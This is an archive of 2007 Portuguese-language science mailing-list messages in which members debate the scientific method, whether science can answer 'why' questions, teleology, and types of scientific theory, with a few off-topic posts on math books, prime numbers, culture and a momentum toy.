Por que a difusão dos raios causa esse efeito ??
Não vou ficar na brincadeira de aplicar "porques" ad
infinitum mas caso eu ficasse uma hora voce se
quebraria :p.


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] P/Chicão - Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 15:30

Em nenhum momento eu falei de teleologia.
Mesmo aplicando os "porques" uma hora voce fica sem
resposta. Fazer perguntas dessa natureza não implica
em argumentos teleologicos.
Mas se voce quiser apelar para um próposito divino,
boa sorte.

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> O Takata já respondeu, mas eu vou dar mais um
> pitaco.
>
> Chicão: "talvez os métodos aplicados pela
> "ciência"(entre aspas
> pq o meu conceito de ciencia está em crise) sejam
> bom
> para responder " O COMO" mas não "O PORQUÊ"."
>
> A ciência não está em crise, mas algumas formas de
> se tentar "usar" a ciência é que, devido a
> inadequação desta (sua função é outra, com escopo
> bem definido), podem parecer em crise.
>
> E é preciso cuidado como o "porquê" nestes casos.
> Nem sempre existe um porquê, o que torna impossível
> de responder a questão proposta. Usando o exemplo do
> Takata, o céu não é azul "para" alguma coisa. Seres
> vivos não existem "para" alguma coisa. A
> eletricidade não se acumula em nuvens "para" gerar
> raios. Ela apenas se acumula, devido a leis
> naturais. É assim "porquê" é assim.
>
> Sabemos, ou podemos entender ou aprender, porque a
> eletricidade se acumula. Mas não o propósito dessa
> acumulação, a intenção por tras do fenômeno.
> Provavelmente , porque não existe nenhuma.
>
> Um abraço.
>
> Homero
>
>
>
> ----- Original Message -----
> From: Chicao Valadares
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, March 15, 2007 2:50 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
>
> talvez os métodos aplicados pela "ciência"(entre
> aspas
> pq o meu conceito de ciencia está em crise) sejam
> bom
> para responder " O COMO" mas não "O PORQUÊ".
>
> --- Luiz Ferraz Netto <leobarretos@uol.com.br>
> escreveu:
>
> > Que estranho! Minhas idéias básicas sobre o
> Método,
> > o que dele se constrói e o que realmente faz a
> > natureza, rolam bem de perto com a excelente
> > exposição do Alberto. E já tive oportunidade de
> > escrever sobre essas coisas aqui no Clist.
> > Até recordo uma frase: "As águas do rio fazem o
> que
> > fazem; todo o restante, correr, escoar,
> deslocar,
> > velocidade, densidade, aceleração etc. etc. são
> > produtos da mente humana, são modelos, para os
> quais
> > as águas não dão a mínima satisfação. Todavia,
> os
> > conceitos e teorias montados pela mente humana,
> os
> > modelos, devem funcionar ... pois eles podem
> prever
> > o que as águas farão!" ... ou algo assim.
> > Mas, não conhecia essas terminologias de caixas
> > negras e translúcidas. Tornaram as idéias bem
> mais
> > claras.
> >
> > Apreciaria que vc fizesse uma exemplificação do
> seu
> > texto no seguinte tema, vejamos:
> > reflexão e refração da luz. "Por que os ângulos
> etc.
> > são iguais?" "Por que a lei dos senos deve ser
> > obedecida?"
> >
> > Penso assim: é da natureza da luz que a reflexão
> e a
> > refração se dê do jeito que são. Leis empíricas,
> > baseadas na geometria euclidiana, constatam que
> > ângulo i = ângulo r. Isso obviamente "explica o
> > fenômeno, mas não o justifica"; o princípio de
> > Fermat é bom porque, ao fim e ao cabo, tb
> permite
> > concluir que "ângulo i = ângulo r". Qqer outra
> > teoria será boa se, tb, chegar ao "ângulo i =
> ângulo
> > r". Mas ... porque "ângulo i = ângulo r", não
> está
> > ao alcance da Ciência ... AINDA!
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: "Alberto Mesquita Filho"
> <albmesq@uol.com.br>
> > Para: <ciencialist@yahoogrupos.com.br>
> > Enviada em: quarta-feira, 14 de março de 2007
> 05:06
> > Assunto: [ciencialist] Re: Sobre o Método
> Cientifico
> >
> >
> > ----- Original Message -----
> > From: "Chicao Valadares"
> > Sent: Monday, March 12, 2007 12:15 PM
> > Subject: Re: [ciencialist] Re: Sobre o Método
> > Cientifico
> >
> >
> > > Se voce puder me dizer algo sobre
> FENOMENOLOGIA
> > também seria bom.
> >
> > O assunto é bastante extenso e, em sua
> completude, é
> > estudado em
> > filosofia. Sob esse aspecto generalizante o tema
> > está bem tratado em
> > http://www.cobra.pages.nom.br/ftm-fenomeno.html
> .
> > Vou tecer apenas
> > algumas considerações sobre um aspecto
> importante
> > sob o ponto de
> > vista da filosofia da ciência e relacionado à
> > teorização em ciências
> > naturais (estou fazendo adaptações em um texto
> que
> > escrevi há muito
> > tempo --> 1987).
> >
> > Classicamente existem dois tipos de teorias: 1)
> > fenomenológicas e 2)
> > representacionais. Os termos não são isentos de
> > críticas, havendo
> > quem prefira as denominações "teorias de caixa
> > negra" e "teorias de
> > caixa translúcida", respectivamente. Por vezes
> > confunde-se
> > fenomenologismo com empirismo e
> representacionismo
> > com realismo. Há
> > de se notar, não obstante, que o realismo se
> utiliza
> > dos dois tipos
> > de modelos teóricos e, também, que existem
> teorias
> > que se apoiam no
> > modelo fenomenológico e, no entanto, estão
> > totalmente à margem da
> > filosofia empirista.
> >
> > As teorias fenomenológicas, ou de caixa negra,
> > estudam o
> > comportamento de um sistema sem, contudo, se
> > preocupar com o
> > mecanismo interno. São também, e por este
> motivo,
> > chamadas teorias
> > behavioristas. O modelo behaviorista satisfaz a
> > filosofia empirista,
> > pois permite a condensação de grande número de
> dados
> > experimentais e
> > a predição da evolução do sistema, sem
> ultrapassar
> > em demasia o
> > observável. As teorias fenomenológicas são
> teorias
> > de baixo risco e,
> > portanto, dificilmente derrubadas; contudo são
> menos
> > férteis que as
> > teorias representacionais.
> >
> > As teorias representacionais não só aceitam a
> > hipótese metafísica da
> > existência de um mecanismo interno, mas procuram
> > explicar a causa
> > imediata dos fenômenos observados; utilizam para
> > isto a imaginação
> > e/ou a lógica transcendental. Através de modelos
> > teóricos imaginários
> > prevê fatos novos, e estes últimos devem ser
> > corroboráveis
> > experimentalmente. Adota como critério de prova
> a
>
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"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: P/Chicão - Re: Sobre o Método Cientifico
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/03/2007 15:46

Olá Chicão

Chicão: "Em nenhum momento eu falei de teleologia."

Nem eu. Falei em intenção porque o "para que" em geral idenfica uma função previamente definida. Uma construção "para" algo foi definida de antemão como sendo capaz de efetuar a função necessária. E não é preciso uma natureza divina, a casa do Castor é construida "para" abriga-lo, mesmo que ele não saiba disso ou não tenha escolha no processo.

Chicão: "Por que a difusão dos raios causa esse efeito ??
Não vou ficar na brincadeira de aplicar "porques" ad
infinitum mas caso eu ficasse uma hora voce se
quebraria :p. "

Não sei, Chicão, acho que nem sempre. O que acontece sempre é acabar esbarrando no "para que", ainda que no formato de porque. Por exemplo, a difração causa uma determinada ação nas ondas eletromagnéticas que resultam em uma frequência que nosso cérebro identifica com a luz azul. Isso responde perfeitamente a questão proposta, e novas perguntas são "outras" perguntas. Como "porque nosso cérebro identifica essa frequencia com azul?".

Mas não é mais parte da questão inicial.

Talvez queira chegar ao limite de uma explicação, a própria natureza de determinados elementos ou fenomenos, a natureza intima da máteria, aquela que os físicos de partículas estão estudando, em aceleradores de particulas. Porque um próton se comporta como um próton? Porque a água tem as propriedades que tem (sendo que não estão no átomo de hidrogênio e oxigênio que a compõem)?

Mas estes limites, ainda sob estudo, não significam que as perguntas anteriores não foram respondidas à contento. Por que existem diversas espécies, e não um único tipo de ser vivo, é respondido pela evolução e seleção natural. Não há necessidade, nem faz parte da resposta, ir mais além, e entender como um átomo de carbono se liga a outros elementos. Da mesma forma, não é preciso um "para que" neste caso.

Um abraço.

Homero








----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 16, 2007 3:30 PM
Subject: Re: [ciencialist] P/Chicão - Re: Sobre o Método Cientifico


Em nenhum momento eu falei de teleologia.
Mesmo aplicando os "porques" uma hora voce fica sem
resposta. Fazer perguntas dessa natureza não implica
em argumentos teleologicos.
Mas se voce quiser apelar para um próposito divino,
boa sorte.

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> O Takata já respondeu, mas eu vou dar mais um
> pitaco.
>
> Chicão: "talvez os métodos aplicados pela
> "ciência"(entre aspas
> pq o meu conceito de ciencia está em crise) sejam
> bom
> para responder " O COMO" mas não "O PORQUÊ"."
>
> A ciência não está em crise, mas algumas formas de
> se tentar "usar" a ciência é que, devido a
> inadequação desta (sua função é outra, com escopo
> bem definido), podem parecer em crise.
>
> E é preciso cuidado como o "porquê" nestes casos.
> Nem sempre existe um porquê, o que torna impossível
> de responder a questão proposta. Usando o exemplo do
> Takata, o céu não é azul "para" alguma coisa. Seres
> vivos não existem "para" alguma coisa. A
> eletricidade não se acumula em nuvens "para" gerar
> raios. Ela apenas se acumula, devido a leis
> naturais. É assim "porquê" é assim.
>
> Sabemos, ou podemos entender ou aprender, porque a
> eletricidade se acumula. Mas não o propósito dessa
> acumulação, a intenção por tras do fenômeno.
> Provavelmente , porque não existe nenhuma.
>
> Um abraço.
>
> Homero
>
>
>
> ----- Original Message -----
> From: Chicao Valadares
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, March 15, 2007 2:50 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
>
> talvez os métodos aplicados pela "ciência"(entre
> aspas
> pq o meu conceito de ciencia está em crise) sejam
> bom
> para responder " O COMO" mas não "O PORQUÊ".
>
> --- Luiz Ferraz Netto <leobarretos@uol.com.br>
> escreveu:
>
> > Que estranho! Minhas idéias básicas sobre o
> Método,
> > o que dele se constrói e o que realmente faz a
> > natureza, rolam bem de perto com a excelente
> > exposição do Alberto. E já tive oportunidade de
> > escrever sobre essas coisas aqui no Clist.
> > Até recordo uma frase: "As águas do rio fazem o
> que
> > fazem; todo o restante, correr, escoar,
> deslocar,
> > velocidade, densidade, aceleração etc. etc. são
> > produtos da mente humana, são modelos, para os
> quais
> > as águas não dão a mínima satisfação. Todavia,
> os
> > conceitos e teorias montados pela mente humana,
> os
> > modelos, devem funcionar ... pois eles podem
> prever
> > o que as águas farão!" ... ou algo assim.
> > Mas, não conhecia essas terminologias de caixas
> > negras e translúcidas. Tornaram as idéias bem
> mais
> > claras.
> >
> > Apreciaria que vc fizesse uma exemplificação do
> seu
> > texto no seguinte tema, vejamos:
> > reflexão e refração da luz. "Por que os ângulos
> etc.
> > são iguais?" "Por que a lei dos senos deve ser
> > obedecida?"
> >
> > Penso assim: é da natureza da luz que a reflexão
> e a
> > refração se dê do jeito que são. Leis empíricas,
> > baseadas na geometria euclidiana, constatam que
> > ângulo i = ângulo r. Isso obviamente "explica o
> > fenômeno, mas não o justifica"; o princípio de
> > Fermat é bom porque, ao fim e ao cabo, tb
> permite
> > concluir que "ângulo i = ângulo r". Qqer outra
> > teoria será boa se, tb, chegar ao "ângulo i =
> ângulo
> > r". Mas ... porque "ângulo i = ângulo r", não
> está
> > ao alcance da Ciência ... AINDA!
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: "Alberto Mesquita Filho"
> <albmesq@uol.com.br>
> > Para: <ciencialist@yahoogrupos.com.br>
> > Enviada em: quarta-feira, 14 de março de 2007
> 05:06
> > Assunto: [ciencialist] Re: Sobre o Método
> Cientifico
> >
> >
> > ----- Original Message -----
> > From: "Chicao Valadares"
> > Sent: Monday, March 12, 2007 12:15 PM
> > Subject: Re: [ciencialist] Re: Sobre o Método
> > Cientifico
> >
> >
> > > Se voce puder me dizer algo sobre
> FENOMENOLOGIA
> > também seria bom.
> >
> > O assunto é bastante extenso e, em sua
> completude, é
> > estudado em
> > filosofia. Sob esse aspecto generalizante o tema
> > está bem tratado em
> > http://www.cobra.pages.nom.br/ftm-fenomeno.html
> .
> > Vou tecer apenas
> > algumas considerações sobre um aspecto
> importante
> > sob o ponto de
> > vista da filosofia da ciência e relacionado à
> > teorização em ciências
> > naturais (estou fazendo adaptações em um texto
> que
> > escrevi há muito
> > tempo --> 1987).
> >
> > Classicamente existem dois tipos de teorias: 1)
> > fenomenológicas e 2)
> > representacionais. Os termos não são isentos de
> > críticas, havendo
> > quem prefira as denominações "teorias de caixa
> > negra" e "teorias de
> > caixa translúcida", respectivamente. Por vezes
> > confunde-se
> > fenomenologismo com empirismo e
> representacionismo
> > com realismo. Há
> > de se notar, não obstante, que o realismo se
> utiliza
> > dos dois tipos
> > de modelos teóricos e, também, que existem
> teorias
> > que se apoiam no
> > modelo fenomenológico e, no entanto, estão
> > totalmente à margem da
> > filosofia empirista.
> >
> > As teorias fenomenológicas, ou de caixa negra,
> > estudam o
> > comportamento de um sistema sem, contudo, se
> > preocupar com o
> > mecanismo interno. São também, e por este
> motivo,
> > chamadas teorias
> > behavioristas. O modelo behaviorista satisfaz a
> > filosofia empirista,
> > pois permite a condensação de grande número de
> dados
> > experimentais e
> > a predição da evolução do sistema, sem
> ultrapassar
> > em demasia o
> > observável. As teorias fenomenológicas são
> teorias
> > de baixo risco e,
> > portanto, dificilmente derrubadas; contudo são
> menos
> > férteis que as
> > teorias representacionais.
> >
> > As teorias representacionais não só aceitam a
> > hipótese metafísica da
> > existência de um mecanismo interno, mas procuram
> > explicar a causa
> > imediata dos fenômenos observados; utilizam para
> > isto a imaginação
> > e/ou a lógica transcendental. Através de modelos
> > teóricos imaginários
> > prevê fatos novos, e estes últimos devem ser
> > corroboráveis
> > experimentalmente. Adota como critério de prova
> a
>
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O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] P/ Chicão - Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 16:03


--- Oraculo <oraculo@atibaia.com.br> escreveu:

>Chicão: "Fazer tal afirmação não é logicamente
equivalente a
>fazer a alegação de que existe um ser metafísico
>influenciando meu cerébro ??. "
>Aqui está um tanto enganado. Um ser metafísico tem
intenção, vontade própria e não pode ser >incluído na
teoria de forma objetiva ou racional. Os Id, ego e
super-ego podem. São descrições >de fenomenos, não
entidades autonomas. Drogas, como o LSD, podem
provocar alucinações de >duendes, afetando processos
neurológicos do cérebro.

Ids e superegos excessivos tambem criam seus anjos e
demonios :p. Sendo assim como saber??
Note que você está falando de neuroquímica e eu nem
cheguei lá.



"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Livro
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciência list <ciencialist@yahoogrupos.com.br>
DATE: 16/03/2007 16:04

Olá. alguém conhece alguma bibliografia/coleção de matemática, básica a avançada?
Abraço

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 16:17


--- rmtakata <roberto.takata@bol.com.br> escreveu:
>Digamos q o id/supergo e o gnomo na cabeça façam
>predições
>verificáveis sobre o comportamento humano. O
id/superego é tão somente
>uma subestrutura funcional da mente, já o gnomo exige
>uma entidade
>distinta da mente - o gnomo é muito mais complicado
>(tem olhos,
>braços, pernas, precisamos elaborar o modo como ele
>entrou em nossa
>mente e como a influencia, etc).

Certo mas do ponto de vista lógico não dá pra dizer se
é o id/superego ou os duendes. Nada impede a priori de
se ter algo mais complexo como o causador do fenômeno.
Isso é algo sutil de se perceber.



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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 16:22

Voces conseguiriam me mostrar um exemplo real de
aplicação de cada paradigma cientifico(Popper,
Lakatos, Kuhn, etc...) nas teorias que se tem
conhecimento por aí mostrando a similaridade da
formação das hipoteses de cada teoria cientifica em
concordancia com
cada paradigma ??
Eu acredito que isso enriqueceria o conhecimento dos
participantes da lista.



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SUBJECT: Números primos
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciência list <ciencialist@yahoogrupos.com.br>
DATE: 16/03/2007 16:31

Olá pessoal, alguém sabe dizer qual é a aplicação dos números primos?
Abraço

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Andre, sobre a falácia do espantalho -
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>
DATE: 16/03/2007 16:40

Constantino:
Desculpe, não li um "não são" no seu e-mail.

Primeiro é preciso definir o que é cultura:
Cultura é o comportamento social do grupo. Cultura, segundo Tyler (1871) diz que é o complexo total de conhecimentos, crenças, artes, leis, costumes e quaisquer outras aptidões e hábitos adquiridos pelo homem como membro da sociedade.
É o modo de as pessoas se adaptarem ao ambiente e a linguagem é o primeiro elemento da cultura.
E acrescento: é o conjunto formado pelos sistemas de representação, os sistemas normativos, sistemas de expressão e sistemas de ação. É uma visão original e irredutível do mundo, da vida, da morte mo significado do homem com seus direitos, deveres e suas esperanças.
Assim, procurar o que não é cultura só se poderia encontrar num portador de idiotia total e/ou que tenha apenas vida vegetativa.

É a cultura a primeira característica dos humanos.

sds.,

silvio.

constantor wrote:

.
De maneira ampla é também uma convenção social, Sílvio.

Silvio Cordeiro wrote:


Contantino:
Simples: o trabalho.
silvio.


constantor wrote:



Sílvio, o que, no campo da cultura, não são convenções sociais?

Silvio Cordeiro wrote:


Constantino: falar qualquer coisa do casamento seguro é uma abstração pois o casamento é apenas uma convenção social. A fidelidade, apregoada pelas igrejas são normas canônicas: tanto que meu amigo Deus disse - tá lá no gênesis - ide e multiplicai-vos. Como ele, Deus, à sorrelfa criou outras pessoas à leste do Édem. e sobre elas nem reproduzir ele mandou, obviamente que o ato matrimonial é uma simples badalação social pra gastar dinheiro.

sds.,
silvio



------------------------------------------------------------------------------



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/Chicão - Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 18:43


--- Oraculo <oraculo@atibaia.com.br> escreveu:
> Mas estes limites, ainda sob estudo, não significam
> que as perguntas anteriores não foram respondidas à
> contento. Por que existem diversas espécies, e não
> um único tipo de ser vivo, é respondido pela
> evolução e seleção natural. Não há necessidade, nem
> faz parte da resposta, ir mais além, e entender como
> um átomo de carbono se liga a outros elementos. Da
> mesma forma, não é preciso um "para que" neste caso.

Concordo mas responder a pergunta anterior não quer
dizer que a causa inicial do fenomeno foi totalmente compreendida.

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Re: Sobre o Método Cientifico (o que, como, porque, pra que, e os cambau)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 22:43

Olá Chicão!

Prazer em conhece-lo. Vou tentar colaborar com os seus
questionamentos. Para fazer isto, primeiro vou lhe
dizer o seguinte. Semantica é foda! Muita foda! Foda
mesmo! Apego a semantica, então, é foda que não acaba
mais. (por favor, não leve a mal o meu jeito de me
expressar). Continuando... Semantica é foda porque
fode a comunicação. Sendo assim, minha primeira
tentativa de colaboração com a sua investigação é lhe
aconselhar a ser um poliglota semantico. Dito isto,
vamos a sua questão sobre o método cientifico.

Chicao Valadares >>> talvez os métodos aplicados pela
"ciência" sejam bom para responder "O COMO" mas não "O
PORQUÊ".


MÉTODO CIENTIFICO (passo-a-passo)

1) CIENCIA EXPERIMENTAL:

a) Se pergunta: "o que" aconteceu?
b) Abre o olho e se responde: aconteceu isto.

2) CIENCIA EXPERIMENTAL:

a) Se pergunta: "como" isto aconteceu? De que forma?
b) Observa (num periodo de tempo) e se responde: isto
aconteceu desta forma.

3) CIENCIA TEORICA:

a) Se pergunta: porque isto aconteceu? (busca da
força-causa do que aconteceu)
b) Se pergunta: porque isto aconteceu da forma que
aconteceu? (busca do sistema-causa na forma como
aconteceu)

4) CIENCIA TEORICA:

a) Se responde: isto aconteceu por causa disto.
(teoria da causa)
b) Se responde: isto aconteceu da forma que aconteceu
por causa disto(teoria do sistema)

5) CIENCIA EXPERIMENTAL:

a) se é verdade que isto aconteceu (no passado) por
causa disto, e se o comportamento do universo
realmente é ciclico (causa e efeito), então, isto tem
que reacontecer (no presente) igual descreve a teoria.
se reacontecer, é verdade cientifica.

b) se é verdade que isto aconteceu (no passado) da
forma que aconteceu por causa disto, e se o
comportamento do universo realmente é ciclico (causa e
efeito), então, isto tem que reacontecer (no presente)
da mesma forma. se reacontecer, é verdade cientifica.

6) USUÁRIO DA VERDADE CIENTIFICA:

Puta que o pariu! Esta verdade cintifica "serve" de
mapa perfeiro para eu obter sucesso nisto aqui!


vou responder suas outras perguntas.
abraçomano
ferrari







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SUBJECT: Re: Sobre o Método Cientifico (o que, como, porque, pra que, e os cambau) - com correção verbal
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 22:47

Olá Chicão!

Prazer em conhece-lo. Vou tentar colaborar com os seus
questionamentos. Para fazer isto, primeiro vou lhe
dizer o seguinte. Semantica é foda! Muita foda! Foda
mesmo! Apego a semantica, então, é foda que não acaba
mais. (por favor, não leve a mal o meu jeito de me
expressar). Continuando... Semantica é foda porque
fode a comunicação. Sendo assim, minha primeira
tentativa de colaboração com a sua investigação é lhe
aconselhar a ser um poliglota semantico. Dito isto,
vamos a sua questão sobre o método cientifico.

Chicao Valadares >>> talvez os métodos aplicados pela
"ciência" sejam bom para responder "O COMO" mas não "O
PORQUÊ".


MÉTODO CIENTIFICO (passo-a-passo)

1) CIENCIA EXPERIMENTAL:

a) Se pergunta: "o que" acontece?
b) Abre o olho, ve e se responde: aconteceu isto.

2) CIENCIA EXPERIMENTAL:

a) Se pergunta: "como" isto aconteceu? De que forma?
b) Observa (num periodo de tempo) e se responde: isto
aconteceu desta forma.

3) CIENCIA TEORICA:

a) Se pergunta: porque isto aconteceu? (busca da
força-causa do que aconteceu)
b) Se pergunta: porque isto aconteceu da forma que
aconteceu? (busca do sistema-causa na forma como
aconteceu)

4) CIENCIA TEORICA:

a) Se responde: isto aconteceu por causa disto.
(teoria da causa)
b) Se responde: isto aconteceu da forma que aconteceu
por causa disto(teoria do sistema)

5) CIENCIA EXPERIMENTAL:

a) se é verdade que isto aconteceu (no passado) por
causa disto, e se o comportamento do universo
realmente é ciclico (causa e efeito), então, isto tem
que reacontecer (no presente) igual descreve a teoria.
se reacontecer, é verdade cientifica.

b) se é verdade que isto aconteceu (no passado) da
forma que aconteceu por causa disto, e se o
comportamento do universo realmente é ciclico (causa e
efeito), então, isto tem que reacontecer (no presente)
da mesma forma. se reacontecer, é verdade cientifica.

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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - pra que?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 22:59

Roberto Takata >>> O q as ciências tendem a responder
mal é a pergunta "para quê".

"Pra que" não é ciencia é prática. "Pra que" serve a
energia atomica? Ora, o usuário que decide. "Pra que"
é serventia, e sem usuario, seja lá "o que" for, não
tem serventia alguma. Se o usuário quiser tranformar a
energia atomica em eletricidade pra tomar banho quente
de chuveiro, é um "pra que". Se quiser fazer bomba
atomica pra jogar em hiroshima, é outro "pra que".
Qual "pra que" é melhor? Depende do usuário. Sendo
assim:

P - "Para que o céu é azul?"
R - Pro uso que o usuário do céu e do azul decidir
fazer disto.


abçomano
ferrari



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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - teoria e verdade
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 23:13

Olá Chicão!

Chicao Valadares >>> como eu posso saber se existe um
id/superego de verdade?

--- como vc pode saber se tem energia no fio eletrico
de verdade? botando a mão, não é? e o choque é a
energia ou é a sua percepção da energia? é sua
percepção, não é? então, como vc pode saber que o
choque que vc tomou é a energia que está escrita no
livro de ciencias. simples: vc não pode. a energia que
está no livro de ciencia é a energia que está no livro
de ciencia, é a teoria, não a energia que está no fio.
não sei se vc já conhece este conceito, mas vai ajudar
muito em suas investigações:

>>> o mapa não é o território

ou seja:

>>> a teoria não é a verdade

assim, id, ego, super-ego, só existe na teoria (no
mapa), na realidade, o que existe é realidade.


bem vindo ao deserto do real
abçomano
ferrari




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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 23:19

Chicao Valadares >>> Por que a difusão dos raios causa
esse efeito ?? Não vou ficar na brincadeira de aplicar
"porques" ad infinitum mas caso eu ficasse uma hora
voce se quebraria :p.

--- pois deveria ficar, pois ai chegaria onde vc e
todos os cientistas "de coração" querem chegar: a
deus. Ou se preferir, no infinitum.


abçomano
ferrari



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SUBJECT: Re: Sobre o Método Cientifico (o que, como, porque, pra que, e os cambau) - com coreção verbal
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 23:20

Olá Chicão!

Prazer em conhece-lo. Vou tentar colaborar com os seus
questionamentos. Para fazer isto, primeiro vou lhe
dizer o seguinte. Semantica é foda! Muita foda! Foda
mesmo! Apego a semantica, então, é foda que não acaba
mais. (por favor, não leve a mal o meu jeito de me
expressar). Continuando... Semantica é foda porque
fode a comunicação. Sendo assim, minha primeira
tentativa de colaboração com a sua investigação é lhe
aconselhar a ser um poliglota semantico. Dito isto,
vamos a sua questão sobre o método cientifico.

Chicao Valadares >>> talvez os métodos aplicados pela
"ciência" sejam bom para responder "O COMO" mas não "O
PORQUÊ".


MÉTODO CIENTIFICO (passo-a-passo)

1) CIENCIA EXPERIMENTAL:

a) Se pergunta: "o que" acontece?
b) Abre o olho, ve e se responde: aconteceu isto.

2) CIENCIA EXPERIMENTAL:

a) Se pergunta: "como" isto aconteceu? De que forma?
b) Observa (num periodo de tempo) e se responde: isto
aconteceu desta forma.

3) CIENCIA TEORICA:

a) Se pergunta: porque isto aconteceu? (busca da
força-causa do que aconteceu)
b) Se pergunta: porque isto aconteceu da forma que
aconteceu? (busca do sistema-causa na forma como
aconteceu)

4) CIENCIA TEORICA:

a) Se responde: isto aconteceu por causa disto.
(teoria da causa)
b) Se responde: isto aconteceu da forma que aconteceu
por causa disto(teoria do sistema)

5) CIENCIA EXPERIMENTAL:

a) se é verdade que isto aconteceu (no passado) por
causa disto, e se o comportamento do universo
realmente é ciclico (causa e efeito), então, isto tem
que reacontecer (no presente) igual descreve a teoria.
se reacontecer, é verdade cientifica.

b) se é verdade que isto aconteceu (no passado) da
forma que aconteceu por causa disto, e se o
comportamento do universo realmente é ciclico (causa e
efeito), então, isto tem que reacontecer (no presente)
da mesma forma. se reacontecer, é verdade cientifica.

6) USUÁRIO DA VERDADE CIENTIFICA:

Puta que o pariu! Esta verdade cintifica "serve" de
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vou responder suas outras perguntas.
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SUBJECT: Re: Sobre o Método Cientifico - teologia
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 23:25

Chicão: "Em nenhum momento eu falei de teleologia."

--- Hehehehe... vc é que pensa.

Homero: Nem eu.

--- Hehehe... é mais facil uma banana ficar reta do
que um cientista meterialista dar o braço a torcer.
Será que vcs não percebem que a ciencia materialista
também é uma forma de teologia? sim, percebem sim...
duro é admitir, né? hehehehe...



abçomanos
ferrari



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SUBJECT: bastante coisa nova no link. . .
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, FreeEnergy-BR@yahoogrupos.com.br
DATE: 16/03/2007 23:30




>From: wrote:
> >
> > Somebody pointed out a variation recently, the one where a stack of 3
> > balls of progressively smaller sized is bounced. The momentum
> > exchange drives the smallest one quite high.
>
>
>Yes, Edmund Scientific sells it.
>
>http://scientificsonline.com/product.asp_Q_pn_E_3081552
>
>I have one, and it works as claimed. Each ball has a hole passing
>through its diameter. A straight thin wooden rod passes through the
>series of balls of different sizes. Stack the balls with the largest
>at bottom, and with progressively smaller balls towards the top of the
>stick. Drop this assembly from a few inches high, and when it hits
>the ground the top ball easily shoots up to above 10 feet. The rest
>of the balls remain on the ground. I think this qualifies as a case
>of "concentration of momemtum". Why have the amazing consequences of
>this toy gone unnoticed for so long? 8^O
>
>Leo C.
>
>
>
>
>
>




SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - pra que?
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/03/2007 23:44

O pra que e por que são coisas da rudimentar razão humana... principalmente
se dirigidas para além do seu umbigo, p/estabelecer o universo.
O todo universal, em todas suas ''fases'', é... é e está sendo, nada mais e
sem explicações.
A razão, o pra que e outros papos, são o máximo da arrogância.
